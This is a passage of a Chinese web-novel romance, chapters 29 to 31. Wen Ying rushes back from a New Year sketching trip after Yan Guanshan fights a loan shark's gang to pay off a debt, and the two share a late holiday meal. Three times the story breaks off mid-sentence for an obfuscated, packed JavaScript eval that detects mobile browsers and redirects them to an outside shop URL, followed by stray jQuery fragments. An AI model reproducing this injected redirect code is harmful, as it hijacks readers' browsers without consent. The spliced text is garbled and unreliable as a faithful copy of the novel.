没爹没妈的孩子会早熟些,老人还在时尚且有个知冷知暖的人,老人一走,闻影什么都得自己来,不会的也得学,所以他知道精打细算,哪些地方能省钱,会自己上手修家里的小家电疏通水管,掌握了几个拿手菜起码不让自己饿死。
过早独立,闻影首先学会的是自己好好活,在有限的物质下尽可能对自己好,因为这世上对他无条件好的人已经没有了。
他闯入晏关山的生活之后,教给晏关山的也是这些。
他俩没什么轰轰烈烈的故事可说,从相识开始就很平淡,充斥着日常生活中的柴米油盐,就连会一起去的地方,都是泥泞的菜市场和闹哄哄的超市。这些是活了十九年晏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411839|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关山从来没接触过的地方,他决裂离家自力更生,面对一个人的生活简直两眼一抹黑,闻影拉着他,教他挑菜砍价,教他修修补补,教他计较水电房租各种零零碎碎的生活成本,也陪他学业工作之外有个打篮球的自留地。
时间是在这样的陪伴里悄无声息溜走的。
晏关山想起什么便说什么,说完两个人碰了个杯,许寰老成地感慨:“日久生情,我懂了,那你怎么连人家真名都搞不明白?”
“赖我。”晏关山不会打听别人隐私,闻影说什么他信什么,但事后他还是很自责,晏关山苦笑道,“忙这忙那,忘了细问,是我疏忽了他。”
许寰:“跑了又是怎么回事?”
晏关山叹了口气,有点不知道怎么说:“我从来没和谁建立过亲密关系,面对闻影的表白,我……”
“没反应过来,懵了是吧?”许寰想起从前晏关山那样子就想笑,“你跟人解释清楚啊。”
“想解释的时候他已经走了。”晏关山一脸遗憾,“现在说什么都不听了。”
许寰摇摇头:“你现在什么打算?”
晏关山直白道:“道歉,追人。”
许寰一口酒呛到,笑得半天停不住,他说:“老晏,我还是头一次见你这样,闻影以前对你表白过,我看你事半功倍,有什么要帮忙的喊我哈。”
事儿就这么个事儿,说出来许寰解了惑,晏关山更轻松了些,但说起追人进展,晏关山一脑门包,忙成这样别说追人了,连道歉这一步都还没做好。
晏关山说:“他寒假忙兼职,上回见还是十天前,他和边屹给我送土产,碰着我爸妈了。”
“啊。”许寰脸色僵了僵,“你爸妈怎么找上门了呢?”
晏关山无奈:“我答应今年回去过年的。”
“你那爸妈是真头疼,我见了都头疼。”许寰道,“过年那几天可忙,你今年有去处了,那闻影他?”
晏关山早几天就在问闻影过年去哪儿,他不知道这些年的除夕,闻影一个人是怎么挨过来的,从前在家晏关山就不喜欢过年走亲戚,后来一个人了,冷冷清清也难免有点寂寞,他总会想起闻影来。
他想和闻影一起过年,想陪他过很多很多个年。
只是微信界面停在八个小时前,晏关山问闻影这几天有没有空,对方并没有回复。
玻璃窗弥漫着一层雾气,居酒屋也贴了一张福字,门口挂着灯笼,红彤彤地映着行人的侧脸。屋内热热闹闹,一派节前欢乐气象,街上张灯结彩,年味俞浓了。
街边路灯挂满了火红的中国结,闻影抬头盯着那抹红看了一眼,热烈浓厚的年味儿,只是和自己无关,他穿得厚厚实实,背着包上了车。
除夕夜的头一天,闻影坐上车离开了玉城,把这片喧嚣远远抛之脑后。
29.第 29 章
除夕夜的头一天,闻影坐上苏淳的车,去往离玉城三百多公里的仙湖。
这趟行程是半月前就定好的,仙湖是有名的旅游景区,有雪山有湖泊,自然风光很适合写生,美院留校的学生自发组织的活动,因为时间正好在过年这几天,闻影年年都会得找地方躲热闹,就答应同去了。
开车过去四个小时,特意半夜出发,赶在日出前到露营的地方。
闻影上了车才发现只有他和苏淳两个人,他看了眼被塞得满满当当的后座,只能去副驾坐好。
“他们呢?”闻影问。
“已经出发了,在高速收费站等我们。”苏淳脱掉外衣递给闻影,“你睡一觉,到了我叫你。”
闻影团吧团吧把外衣往后座一扔,问道:“过年不回家,家里人不说你?”
“一向过年都得值班的,何况我干学生工作,你们去外地写生,学校也不放心安全问题,我肯定得跟来。”苏淳顿了顿道,“这个年算是和你一起过,挺好。”
这话让人没法接。
闻影抱臂看着窗外,苏淳深夜一个人开车,按说要么跟他换着开要么陪他聊天防止犯困,可闻影就是提不起兴致。
眼皮一沉,就没心没肺地睡着了。三个多小时的车程说快也快,梦里他骑着皮皮正在天上飞,狗子叫他去救主人,他还没问明白出了什么事,就被苏淳轻轻拍醒了。
拍的还是脸,以至于闻影睁眼的时候满满凶狠的起床气。
“到了,醒一会儿,帮我搬东西。”苏淳把车里的灯打开,塞了瓶水给闻影就走了。
冷风灌进车厢里,吹散了瞌睡,车内灯光昏暗,车外另外两辆车也挂着户外灯,在一片空旷的草地上这点灯火显得孤单,天幕上坠着清晰可见的星辰,边缘一点点泛白,闻影舒了长长一口气,就要日出了。
七个人把露营的工具都卸下,想着天亮以后再扎营,便纷纷背着画具和相机去踩点了。
湖边风光美不胜收,随着天光渐甚,万物苏醒,闻影坐在湖边整个人都在放松,今天是除夕,店铺关张,人们都忙着回家团聚,一年当中硬要挑几天讨厌一下,春节中秋端午简直能排他心里TOP3。
他抬起相机,咔嚓咔嚓拍了好几张,挑了最喜欢的一张传回手机,发了朋友圈。
只有湖光山色和温暖的晨曦,配了个太阳的表情包。
没多一会儿,三人小群里就有人疯狂艾特他。
[边边小叮当]:闷声干大事?@景三
[你彦哥]:???什么情况
[边边小叮当]:你看他朋友圈。
[你彦哥]:看了,一个湖,咋了呀?
[边边小叮当]:[叹气]
[边边小叮当]:所以说跟你们臭直男聊不了一点瓜,看评论啊!
[你彦哥]:卧槽!这就是你不来我家过年的原因?@景三
[边边小叮当]:卧槽!这就是你不来我家过年的原因?@景三
什么评论?闻影点开朋友圈那个刺眼的小红标,短短几分钟已经有好几条评论。
苏淳第一个回的他。
苏淳:咖啡煮好了,过来喝。
边边小叮当:?
你彦哥:大过年的发个自拍啊兄弟,这湖有什么好看的,我妈说想看看你。
边边小叮当回复你彦哥:。
画展吃过饭后,大家都加了微信好友,边屹现在是晏哥头号脑残粉,难怪看见苏淳回复反应那么大。
闻影切回小群。
[景三]:写生。
[景三]:不是,大过年不睡觉就特么滚去干活,别老艾特你爹,烦不烦。
[边边小叮当]:急了,他急了。
[你彦哥]:可以理解为恼羞成怒。
[景三]:你俩给我等着。
[边边小叮当]:送走财神爷前我都出不了家门,要揍来我家揍。[害羞]
[你彦哥]:来我家,我抗揍,脱光给你揍,只要你来。
[景三]:。
磕牙打屁一阵,闻影解释了自己是和同学一起来的,加上苏淳总共七个人,跟约会没鸡毛关系,这才让边屹放下没用的闲心。
边屹已经在帮着家里整菜,穿着可爱的小围裙,让他妈给照了个包饺子的照片,费彦不甘示弱,乡下过年氛围浓厚,又是杀猪又是放炮仗,一张张照片传来,不外乎都想叫闻影去他们各自家过。
[你彦哥]:[照片]
[你彦哥]:我妈给你们织的毛衣还有秋裤,对不住啊哥们,拦不住她,都是大红色,晏哥也有。
[边边小叮当]:替我给咱妈一个啵啵。
[你彦哥]:我给晏哥拜年,到现在都没回我,他们有钱人过年是不是都特忙,一大家子人穿礼服摆宴席那种?
[边边小叮当]:[叹气]
[你彦哥]:?
[边边小叮当]:少打听,你好鸡婆!
[你彦哥]:???
闻影看到这儿,点开了狼犬头像,聊天记录停留在昨晚的“晚安”,晏关山每天都会跟他简短说说自己忙了什么,有时候是发家里毛孩子的照片,睡前固定会说晚安,闻影最近很少回他,忙是借口,不想回应招来误会是一大原因,还有一个,晏关山总问他要不要一起过年,在哪里过年,闻影不是太想提这个。
晏关山今天应该得回家过年吧,面对那样的父母,恐怕一整天都是生人勿近的嘴脸,竖着一身刺,谁招惹他戳谁,他不会爆裂地对抗,而是不冷不热不温不火地说伤人的话。
闻影不知道一大家子一齐准备的年夜饭应该是什么样,爸爸妈妈三姑六婆一人一个拿手菜,做的应该都是年味儿。但晏关山在这团热闹里,应该食不知味,如坐针毡。
他和家里到底有什么样的矛盾,才会割裂成如今的模样?
闻影忍不住想,过年折磨人的方式千奇百怪,他和晏关山难得有一件感同身受的难事了。
闻影挑了一张他觉得最好看的日出照片,发给了晏关山。
回到营地,陆续回来的同学正帮着苏淳搭帐篷,来的人中有两个女同学,还带了自家的狗子,闻影搬东西搬累了,一休息就和狗子玩闹,天幕一拉,坐在下面喝着咖啡玩着狗,倒也惬意。
惬意中夹着一丝烦躁,两个小时过去了,有人不回微信!
他又打开看了一眼,怎么个事这人。
人总是双标的,别人发信息频繁时偏偏拿乔不回复,自己发信息过去没秒回就逐渐不爽,这么久还不回闻影心痒毛抓。
余光见一团雪白在脚边打滚,闻影心生一计,捞起西高地王富贵放在腿上,扒着它道:“给你拍个美照,别动,拍完有火腿肠吃。”
王富贵听见火腿肠果然乖巧地任人摆布,闻影怼着脸就来了一张,然后赏了王富贵一根手腕粗的香肠,将它放了。
照片发给了晏关山。
[景三]:同学家的狗,你看一眼是不是病了,好多眼屎,上火?
闻影寻思这人起码得有点职业道德吧,患者寻医问药,不秒回你还当个屁的兽医。
然而吃过午饭,闻影到湖边速写了几幅画,再回到营地都没收到回信。
这要是突发恶疾,等你回复狗子都特么凉了!
闻影一边腹诽,一边把那些不走心群发的祝福短信都删掉。
“闻影。”苏淳搬了把椅子坐在他旁边,“是有事吗?我看你一直看手机。”
“没,过年么,都是无聊的拜年微信。”闻影恶狠狠道,“删都删不完,烦死了。”
苏淳笑了下,摸了摸兜递过来一个红彤彤的物件儿。
闻影漫不经心扫一眼:“干嘛?”
“压岁包。”苏淳温声道,“收着,没多少钱,图个吉利。”
闻影没接:“你都发了?”
“只给你的。”苏淳强调。
“不要。”闻影又低头看起了手机,“我不过年,况且同辈人哪兴给红包。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429421|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“同辈人也可以给,给弟弟,或者给男朋友。”苏淳说完把红包放在闻影腿上虚虚地担着。
真是怕什么来什么。
闻影:“你别——”
“要拒绝,也等我把话说完吧。”苏淳抢在对方前头说,“什么都没说清楚,不是让我死也死不明白了。”
大过年的提死忌讳,话说到这份上了,闻影没吭声只好等他聊,戳开狼犬头像,退出,再戳开。
等了半天,苏淳也没憋出一个屁。
“要不还是我来吧。”闻影直愣愣道,“我不想——”
“我喜欢你。”苏淳最终还是抢在被拒绝前开了口,“从你进校第一天起,我就喜欢了。那天全系开大会,所有报道的学生都在,我只看得见你。”
闻影闭上嘴,心里没有一丝涟漪,倒是觉得苏淳眼病有点重,该去医院挂个号。
苏淳鼓足勇气,细数他眼里闻影所有的优点,还坦诚自己是从见色起意到日久生情,持续了四年不曾变过。
是真诚坦率的,但闻影毫无触动,他只说:“我知道,但是我不喜——”
“你听我说完!”苏淳有些急了。
再次被打断,闻影深吸一口气。
苏淳喉头滚动,有些紧张:“这些年你从来不缺追求者,不管男的还是女的你也没正眼看过,我本来以为,再多人喜欢你我也不会着急,可是晏关山不一样。他对你有意思,都看得出来,我怕自己再不主动一点,你就被他骗走了。”
闻影好笑道:“我看着像个弱智,说骗就骗?”
“我不是这个意思。”苏淳问,“所以你喜欢他?”
闻影摇摇头,苏淳刚放下心,却听见对方说:“……不知道。”
一颗心又悬了起来,苏淳问:“那我呢?”
“不喜欢。”闻影斩钉截铁道,他也知道这么说伤人,于是淡淡补充,“拿你当朋友,真没别的心思。”
苏淳不服输:“闻影,至少这四年我没见他出现在你身边,你看看我,不管学习还是将来的事业,我能懂也能帮你,生活就更不用你操心,我自己能赚家里也不缺,不会让你再过苦日子。”
苏淳还在摆事实讲道理,从各个方面分析,他如何比晏关山更适合做闻影男朋友,角度清奇,甚至搬出闻影最喜欢的画家康定斯基,苏淳:“他能欣赏吗?他能明白你在画什么吗?”
他指指自己:“我可以!”
闻影:“……”
再之后还说了些什么闻影就实在没听进去了,他百无聊赖地把狼犬头像当爱消除点,一个手贱弹出一条灰色小字。
[景三拍了拍Y问:毛毛回来了吗?]
闻影:?
什么鬼东西。
撤回功能三秒就消失了,这条突兀的拍一拍挂在二人的聊天记录最末端,闻影闷闷吐了口气,到底在忙什么不回微信啊。
突然电话进来,是罗虎打来的。
闻影眉头一皱,抬手让苏淳等他一下,去了远一点的地方接电话。
闻影语气不好:“干嘛?”
罗虎:“你这朋友够意思的啊,景三儿,我就说一声,这二十万还了,给你过个好年。”
闻影莫名其妙:“什么二十万什么朋友?”
罗虎:“晏关山给爷送钱来了,你不知道?”
闻影一愣:“什么意思?”
罗虎嘿嘿一笑:“敢情你还真不知道啊,他今天找到老子棋牌室,二话不说就跟大奔哥儿几个干起来了,非打得头破血流才说是来替你还钱的,也算不打不相识吧,这小子识相,知道照咱规矩办事,没惊动警察,钱我收到了,下次的给你一个月时间,别再让老子来催,晓得不!”
听见“头破血流”四个字,闻影呼吸一滞,爆了句粗口匆匆挂掉电话,立马给晏关山打过去。
一口气提在嗓子眼儿里,直到话筒里传来冰冷的女声“您拨打的电话已关机,请稍后再拨”,闻影心脏狂跳,抓紧电话转身就跑。
30.第 30 章
苏淳表白到一半,这人接了个电话就跟火烧屁股一样要走,不论苏淳怎么问闻影都不说出了什么事。
他风卷残云地把自己东西全塞进包,苏淳拉住他:“要回玉城我送你,这里不好叫车。”
“不方便。”闻影甩开他的手,“你还得管学生,画架帮我收收,谢了。”
说完头也不回就走了,一路狂奔,到马路牙子边费力拦了很久,才好不容易拦下一辆小货,给了司机二百,折返回玉城。
路上闻影也没放弃联系晏关山,他手机关机电话是打不了了,闻影发了好多微信,一边骂一边叫他回,可都石沉大海。
闻影心焦气躁,想不通这个人不回家过年,好端端的跑去跟人打哪门子架,这不有病吗。
又急那二十万给出去了,不一定要得回来。
晏关山你特喵的好歹受过九年义务教育,怎么会干这么蠢的事。
闻影磨着后槽牙,煎鱼一样把手机翻过来颠过去,无奈之下,打给了许寰。
十分僵硬的拜年把许寰都听笑了:“闻影你是不是有什么事啊,直说就行,你这样我害怕。”
闻影舒了口气直说:“……你联系得上晏关山吗?我打他电话关机了,找他有急事。”
许寰:“他今天应该回家了,不是你们去过的家,是他爸妈那边,没开机估计心情不大好吧,他说你也见过他父母了。”
闻影嘴上可不会客气:“见过,不是善茬。”
许寰听得哈哈大笑:“我也觉得,所以你别急,等他开机了你哄哄,这样,我把他爸妈家地址发给你,实在不行你给他救出来得了。”
闻影:“他和他爸妈矛盾很深吗?”
许寰一顿:“他没跟你说过?”
闻影:“我没问太多。”
手机里静了片刻,许寰大概是想了下该不该说,最后还是说了:“他和家里断绝关系很多年了。”
闻影愣住:“为什么?方便告诉我吗?”
“也没什么不方便的,断绝关系是因为他瞒着家里改志愿,报了动物医学专业。”许寰道,“当然这只是导火索,还有其他矛盾,老晏前些年过得挺难,听说还好有你,不至于熬不下去,你俩具体什么误会闹掰的他没跟我说太多,不过我猜跟家里事儿有关,你给他个机会,他一直想跟你道个歉来着。”
现在不是说这个的时候,闻影心里焦急,道:“……知道了,谢谢许哥,我再给他打个电话。”
挂了电话,闻影五味杂陈,找不到人的焦躁上还铺了一层疑云,关于晏家的矛盾和晏关山的过往。他从没有像现在这样如此急于见到姓晏的!
开了许寰这个头,闻影也就豁出去了,他给晏母发了微信问晏关山在不在,对方没理他。又上高德地图搜了所有毛毛宠物医院的地址,每一家分院顺着电话打过去,要么放假没人接听,要么值班的人说院长没来。
折腾一圈一无所获,枯坐了三个小时,天色渐渐黑下来,司机开得挺快,还笑呵呵地问闻影是不是赶着回家过年,闻影敷衍地嘟哝了一声,装作睡觉,其实满脑子都是晏关山,手机的每一次震动他的心都提起来一回,发现是无聊人士发的无聊拜年微信,已经默默在心里殴打对方一百次。
到达玉城的时候已经晚上九点多了,货车司机在方便打车的地方把闻影放下,他先去了晏关山的家。
整栋别墅黑灯瞎火的,外头冷,皮皮没在院子里,就是听见门口动静叫唤了几声。
闻影心疼狗子留守空房,也揪心它爹大过年跟人打架,顾不上安抚狗子,他转身出小区,立马又拦了一辆出租。他直接去了晏父晏母家,也是个带院子的大别墅,闻影没在院子里看见晏关山的车,敲门之后保姆阿姨过来开门,闻影不想进去,问:“晏关山在吗?”
“他没回来过。”保姆说。
闻影只好又去拦出租。
司机扭头问:“去哪儿?”
我特么也不知道去哪儿。
闻影张着嘴没说话。
对晏关山的了解贫瘠到除了家就只有宠物医院,平时他爱做什么,会去哪里消遣,伤心难过有没有一块自留地,这些闻影已经不清楚了。
从前的晏关山很简单,生活工作和学业,始终三点一线。
爱吃的东西是闻影带他去的烧烤摊大排档,要说他主动带闻影吃过什么,只有玉城高中门口的文记冰室,冻柠茶,永远只点这个。
晏关山喜欢打篮球,却不喜欢和陌生人组队,闻影是他唯一的队友。租的老破小院子里竖着两块朽得不行的篮筐,为了能和闻影打 1v1,晏关山特意买了一颗篮球在家放着。
冰室和馆子不可能在除夕夜开着门,那个老小区已经拆了,闻影绞尽脑汁也不知道晏关山会去哪。
“师傅,去玉大。”闻影道。
最后还是决定去宠物医院找一找,先从他最熟悉的那家找起,如果玉大分店没开,他就接着找下去。
出租车停在宠物医院门口,见到店里开着灯,闻影还没等车停稳就急得开门下车,一个没站稳差点摔一跤,匆匆扫码付了钱,一转身和人撞了个满怀。
晏关山把他扶得稳稳的,语气里带了点惊诧:“慌里慌张的干嘛,一会儿再摔了。”
闻影一愣,盯着对方姹紫嫣红的伤,他心里狠狠一扭,像有人往里挤了一整颗柠檬,酸得发疼。
“你为什么去找罗虎?”
“有病吧大过年的打架!”
“晏关山你脑子是不是真的被门挤了啊?”
“去医院,现在去,医院开门的,你特么别扯我,跟我去医院!”
闻影一边咆哮一边拉着人去拦车,连珠炮质问根本不是为了得到对方回答,只是这一刻他的担心需要地方发泄。
晏关山被劈头盖脸地一顿“关心”,嘴上不说,心里乐得顾不上疼,他双手环抱从背后结结实实拢住闻影,温声说:“医院我去过了,不严重。”
这个拥抱很轻,小心翼翼的力度,闻影身子一僵下意识扭头要喷人却看见晏关山强忍着轻皱了眉头。
“现在身上还很痛,你别乱动,给我抱一会儿就好。”晏关山可怜巴巴地说。
闻影没再乱动了,耳朵一阵酥麻,听见他说痛,也见到他皱眉,再觉得这不像话身体也被封印了一样,僵硬。
闻影言不由衷地说:“松开,再靠过来老子打你。”
“打死得了。”晏关山耍赖,“不缺这一顿揍。”
闻影挣脱不开,又不能真打他,只好摆烂给他抱着,闻影嗓子吼哑了,问:“为什么不回微信还一直关机?”
晏关山用脑门抵着闻影的肩,闷声说:“手机打坏了,我看到日出了,很漂亮。”
闻影没好气:“这是重点?”
“重点是你和苏淳去看的日出。”晏关山语气里尽是委屈,“看见的第一时间没回,因为我在生闷气。”
闻影:“……”
闷气就闷气你还要说出来?
晏关山想了想:“你去哪里看的日出?”
“仙湖。”闻影说。
晏关山微怔:“我不接电话,你就赶回来了?”
闻影嘴硬:“老子怕你被那傻逼打死,回来给你收尸!”
几百公里的路程,看样子是马不停蹄地往回赶,晏关山那点酸劲收了味儿,手臂用了些力把人抱紧,他吸了吸鼻子闻到好浓的烟味,人都腌入味儿了,他听边屹说过闻影心烦的时候会抽烟。
晏关山说:“少抽点烟。”
“我坐货车回来的,师傅一直发,我就陪了几根。”闻影半边脖子和耳朵都发烫,不耐烦道,“抱够没有,大街上!”
晏关山这才松开,弯腰去提虚虚挂在闻影手臂上的大包,被对方推着后背赶回店里。
街上冷风吹,店里开着空调很暖和,晏关山把闻影带到他的办公室里,闻影扫了一圈屋内陈设,诧异道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448916|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你不会现在还总在医院里睡吧?”
“偶尔。”晏关山道,“谁有事不能值夜班我就顶上,反正家里又没人等我。”
闻影把包往地上随便一放,拉凳子坐下:“今晚也要值班?”
晏关山倒了一杯温水给他:“十二点就可以走了,有人接班。”
桌上笔记本开着,旁边堆叠如山的全是学术论文,晏关山穿着白大褂,常服挂在衣架上,上面还有血迹。
闻影盯着对方的脸看了半天:“除了脸上这些,还伤哪了?”
晏关山一笑:“不严重,只是难看而已,你老打架你知道的,这些只是皮外伤。”
闻影气不打一处来:“我老打架皮实,你能跟我比?不是说要回家吃饭,没去啊?”
晏关山简短道:“去了。”
“那阿姨说你没回啊。”闻影脱口而出。
晏关山眉一挑:“你还去那找我了?”
闻影懒得说自己找了多少地方才找到这儿的,问:“你挂着这一脸伤回去,爹妈没骂你?”
晏关山淡淡道:“骂了,所以没吃饭我就走了,你吃了吗?”
闻影摇摇头,掏出手机,打开美团看了一圈问:“想吃什么?”
晏关山失笑:“大年夜就算点了也没人送吧,都忙着守岁呢,别点了,我这有泡面,你将就吃点?”
除夕合家欢的热闹时刻,闻影却要和晏关山窝在医院里吃泡面,对方挂着一身伤,自己也跟特么逃难似的风尘仆仆,要不要这么惨。
“不吃!”闻影赌气似的,他想了想问,“你家有菜吗?”
晏关山一愣。
“没有的话,一会儿回我那拿点。”闻影道,“去你家做个宵夜吃。”
晏关山没想到他会这样说,欣喜道:“去你家吃也行。”
“算了吧。”闻影瞥了一眼隔壁住院室里的猫猫狗狗,说,“你家没人,皮皮见了我,叫声瘆得慌,打扰邻居忒没素质,还是回你那。”
晏关山:“你还去了我家?”
“那不然我去哪?”闻影瞪他,抬手一指,“别笑!”
晏关山嘴角抽动,可能这就叫心花怒放吧。
就算今天闻影跟一百个苏淳看日出,见到对方心急火燎来找自己的那一刻,82年的老陈醋都得散。
十二点,爆竹声响彻上空,闻影站在医院门口抬头望天,烟花绚烂,映得他的脸忽明忽暗,空气中浓浓的硫磺味都满是团圆的喜气。
晏关山交完班出来,看到他迷瞪瞪地仰着脑袋,轻轻搂了下闻影的肩。
闻影依旧嘴不饶人:“少特喵动手动脚。”
搂他的那只手上夹了个红包,晏关山捏着红包刮了刮闻影的侧脸:“给你的,压岁钱,新年快乐。”
“不要,我又不是你员工。”闻影一眼没看。
“单独给你的,踹兜里好几天了,本来没想到能在今天拿给你。”晏关山把红包伸到他眼前。
红包背后还写了字,晏关山的字刚劲有力,漂亮得紧。
——TO 景三小朋友,心想事成。
——FROM 晏关山
闻影心里一动,脑海里浮现自己曾经聒噪的话音。
“晏关山,过年的时候你要给我红包,压岁包,放个块儿八毛,但是要写好听话!”
“就写心想事成,因为我现在有个愿望急着实现。”
“TO景三,FROM晏关山,大名必须有。”
“这件事急得很,你听见没啊。”
这件事急得很,因为当年的愿望就是晏关山。
闻影回过神,侧脸看去,双眼里含着璀璨烟火,他不屑地笑了下,一把将红包抽走塞进衣兜,他喊了声:“晏关山。”
“嗯?”晏关山穿着羽绒服,高高帅帅站在身边。
“你也新年快乐。”闻影伸手拽住身侧的人的衣袖,往空旷的大街上快步走,“赶紧回家。”
31.第 31 章
闻影先回了自己家一趟,上去下来没五分钟,就为给晏关山拿个旧手机先用着。
现在的人出门可以钱包不带,没手机简直要老命,大过年的又不知道手机店开不开门,太耽误事。
一回到晏关山的家,闻影进门先找地方充电:“这手机放好多年了,不用的 app 你卸了就行,估计还是有点卡。”
见他手机一充就丢着不管,晏关山问:“方便吗?”
“没什么不能看的。”闻影哄着皮皮吃了点零食,提着门口一堆菜去厨房,“紧着时间做,什么快吃什么了啊。”
晏关山:“我帮你。”
“滚。”闻影撸撸袖子洗手,“别碍事,等着吃就行。”
晏关山没强求帮厨,闻影给他做饭吃,他等这一天等了六年。
现做饭起码还要一个小时,晏关山把一楼的灯全打开,喂了全部毛孩子,放任它们去厨房里陪着闻大厨,然后去收拾客房。
这会儿才做饭吃,吃完不知道几点了,就算闻影要回家晏关山也要强把人留下,他换了干净的床单,洗漱用具和睡衣睡裤全部拿了新的,往枕头下塞好东西才出来。
屋子里弥漫着饭菜的香味,晏关山把电视打开,在个人素质和闻影的喜好里选择了后者,调大音量到厨房能听见春晚重播,这才开始弄手机。
菜出锅时,闻影喊道:“在哪儿吃啊?”
“来客厅。”晏关山放下手机,赶紧去厨房抬菜,惊讶道,“闻着就香,没想到卖相还比以前好。”
“毕竟是年夜饭,哪能打发。”闻影嘟哝,“一会儿你洗碗!”
因为某人已被打花,一向重油重盐的闻影今天做菜刻意很清淡,恨不得一滴酱油不放,两个人三荤三素一个汤,算是丰盛的,晏关山舍不得剩,全部吃光了。
闻影笑话他:“你这辈子是没吃过饭啊,也不怕撑出病。”
晏关山默默抠了两片消食片吃下,满足道:“今天的第一顿饭,而且你做的,我不敢剩。”
洗碗的时候小橘去爬晏关山的裤腿,闻影追过去和它玩,顺便漫不经心地问:“罗虎怎么找上你的?他拿什么威胁你了?”
晏关山低头洗碗,动作没停,只是淡淡道:“我找的他。”
“主动送人头?你知不知道他们是混社会的啊!这帮逼崽子手黑,你还去?!”闻影音调都高了起来。
“我没吃亏。”晏关山淡然一笑,“罗虎跟你打过电话?”
闻影:“嗯。”
“那他肯定没脸说,自己的小兄弟有五个被我打进了医院。”晏关山轻描淡写地炫战绩。
闻影:“……又被你装到了?!”
晏关山心情很好地笑了声。
他把碗一个一个码进洗碗机,又去拿锅,洗得那叫一个认真,突然一只手握上手腕,带着体温,晏关山动作一顿。
闻影闷闷道:“你是给我出气。”
这是个肯定句,闻影心里都清楚。
闻影抿了抿唇:“早就计划这事儿了吧,然后呢?”
“等他们跟我提钱,给够让他们满意的数,他们就知道有我兜底,以后可以放心讹。”晏关山老实交代。
闻影恍然大悟地瞪着他。
晏关山温和地看着闻影:“我猜到你那些小九九了。”
闻影忽然有一种大秘密揣兜里捂了八百年,被晏关山一眼看破,还说它只是个小芝麻的窘迫。
闻影有点恼地说:“知道归知道,你要干什么前不该问问我吗?”
“问了你就会说?”晏关山表情有些委屈,但没有责怪的意思,“我也说过有事儿别一个人扛。”
晏关山索性坦白,从知道闻影被人在暗巷里打断手开始,他就安了很多监控留意对方动向。
“那个棋牌室,我跟踪你去过一次,所以元旦晚会那天我大致清楚他们会去哪几家 ktv,不然不会那么快找到你。”
后来得知对方是放高利贷的不法分子,还被闻影送进过监狱,晏关山就联系了律师,也找警察局的熟人打听过。该规避的法律风险以及个人不能触碰的底限晏关山都得仔仔细细问明白,他不能让闻影身陷险境,杜绝一丝一毫跟对方同归于尽的想法。
发生泼漆事件后闻影只能算半坦白,晏关山明白他不愿把自己扯进去,但这事简单不了,正好罗虎那帮人为了尽快讹钱无所不用其极,跟到了晏关山的医院,还再次以泼漆示威,这是送上门的机会。
晏关山找到棋牌室和人大打出手,言谈举止对闻影的回护罗虎看在眼里,罗虎不傻,与其敲诈一个大学生,不如把开着宠物医院的晏关山拖下水,来钱更快。
在一番故意的拉扯下,装傻充愣的晏关山打给了对方二十万。
心甘情愿被敲诈。
闻影听得一愣一愣的,晏关山条理清晰地说:“交易记录,聊天记录,监控和录音,伤情鉴定,都是证据,留着这些将来有用。只是还要和他周旋一阵,他讹的还不够多。”
再周旋,指不定晏关山还要怎么去送菜,闻影赶紧道:“够了!这些钱足够他判刑了。”
“只是判刑便宜他了,过几年又出来,不还是个祸害。”晏关山冷冷道,“要判就顶格判,最好这辈子都别出来。”
闻影张着嘴半天没说话。
晏关山只看一眼就明白了:“你也是这么想的。”
闻影当然希望一劳永逸的把人送去牢里,但以他的经济实力,做不到。
闻影静了静,说:“如果你还要用这种苦肉计去诈他,我宁愿现在就报警把他抓了。”
晏关山叹气:“问题要彻底解决,这是最快最有效的办法。”
劝不动,他还去,晏关山不是一个听劝的人,除非你的道理能说服他,但这件事要解决干净确实只能如此。
“你怎么这么犟呢!”闻影揪着晏关山的衣领,将人扯过面对面,晏关山只好放下在洗的锅,垂眼看他。
闻影耐心全无地强调:“别再多管闲事,这是我一个人的事!”
“费彦欠的债,你替他还惹出来的麻烦,怎么算你一个人的事?”晏关山有理有据,“多管闲事的又不只我,这话说服不了我。”
闻影没了办法,脱口而出:“以前的事我原谅你了!”
晏关山愣了下,笑容僵在脸上,扭头又去洗锅,半天才带着明显的不高兴说:“你原不原谅,这事儿我也会管到底。我不是为了要你原谅我。”
“特么一破锅你要洗一小时?”闻影知道自己说错话了,扯着人的衣服晃了几下,晏关山就不转过来,闻影说,“我不是那意思。”
晏关山:“知道了。”
听着就是“生气了”。
闻影退了一步:“那你下次有什么计划和行动能不能跟我说一声?”
晏关山干脆地答应:“好,你别多心。”
闻影用看傻子的眼神看他,不知道该说什么,抢过那口锅,麻溜洗好算完。
半夜两三点,回家不实际,闻影不是个扭捏的人,晏关山挽留他就在这儿将就一晚,而且客房已经收拾好了,背去露营的包里全是换洗衣物,都是现成的。
